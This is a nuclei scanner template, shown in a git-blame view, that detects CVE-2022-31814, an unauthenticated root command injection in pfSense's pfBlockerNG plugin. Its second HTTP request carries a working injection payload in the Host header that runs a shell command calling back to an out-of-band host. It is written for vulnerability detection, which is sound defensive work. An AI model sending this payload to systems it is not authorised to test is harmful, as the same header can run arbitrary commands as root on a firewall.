nuclei-templates/cves/2022/CVE-2022-31814.yaml

45 lines
1.3 KiB
YAML
Raw Normal View History

2022-09-19 14:12:25 +00:00
id: CVE-2022-31814
info:
2022-09-22 06:47:57 +00:00
name: PfSense Pfblockerng Plugin - Remote Code execution
2022-09-19 14:12:25 +00:00
author: EvergreenCartoons
severity: critical
description: |
pfSense pfBlockerNG through 2.1.4_26 allows remote attackers to execute arbitrary OS commands as root via shell metacharacters in the HTTP Host header. NOTE: 3.x is unaffected.
reference:
- https://www.ihteam.net/advisory/pfblockerng-unauth-rce-vulnerability/
- https://docs.netgate.com/pfsense/en/latest/packages/pfblocker.html
- https://github.com/EvergreenCartoons/SenselessViolence
- https://nvd.nist.gov/vuln/detail/CVE-2022-31814
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2022-31814
2022-09-22 06:47:57 +00:00
metadata:
verified: true
tags: cve,cve2022,pfsense,pfblockerng,rce,oast
2022-09-19 14:12:25 +00:00
requests:
- raw:
2022-09-23 10:55:47 +00:00
- |+
GET /pfblockerng/www/index.php HTTP/1.1
Host: {{Hostname}}
Accept: */*
2022-09-19 14:12:25 +00:00
- |+
GET /pfblockerng/www/index.php HTTP/1.1
Host: ' *; host {{interactsh-url}}; '
Accept: */*
2022-09-23 10:55:47 +00:00
req-condition: true
2022-09-22 06:47:57 +00:00
unsafe: true
matchers-condition: and
2022-09-19 14:12:25 +00:00
matchers:
- type: word
part: interactsh_protocol # Confirms the DNS Interaction
words:
- "dns"
2022-09-22 06:47:57 +00:00
2022-09-23 10:55:47 +00:00
- type: dsl
dsl:
- 'contains(body_1, "GIF")'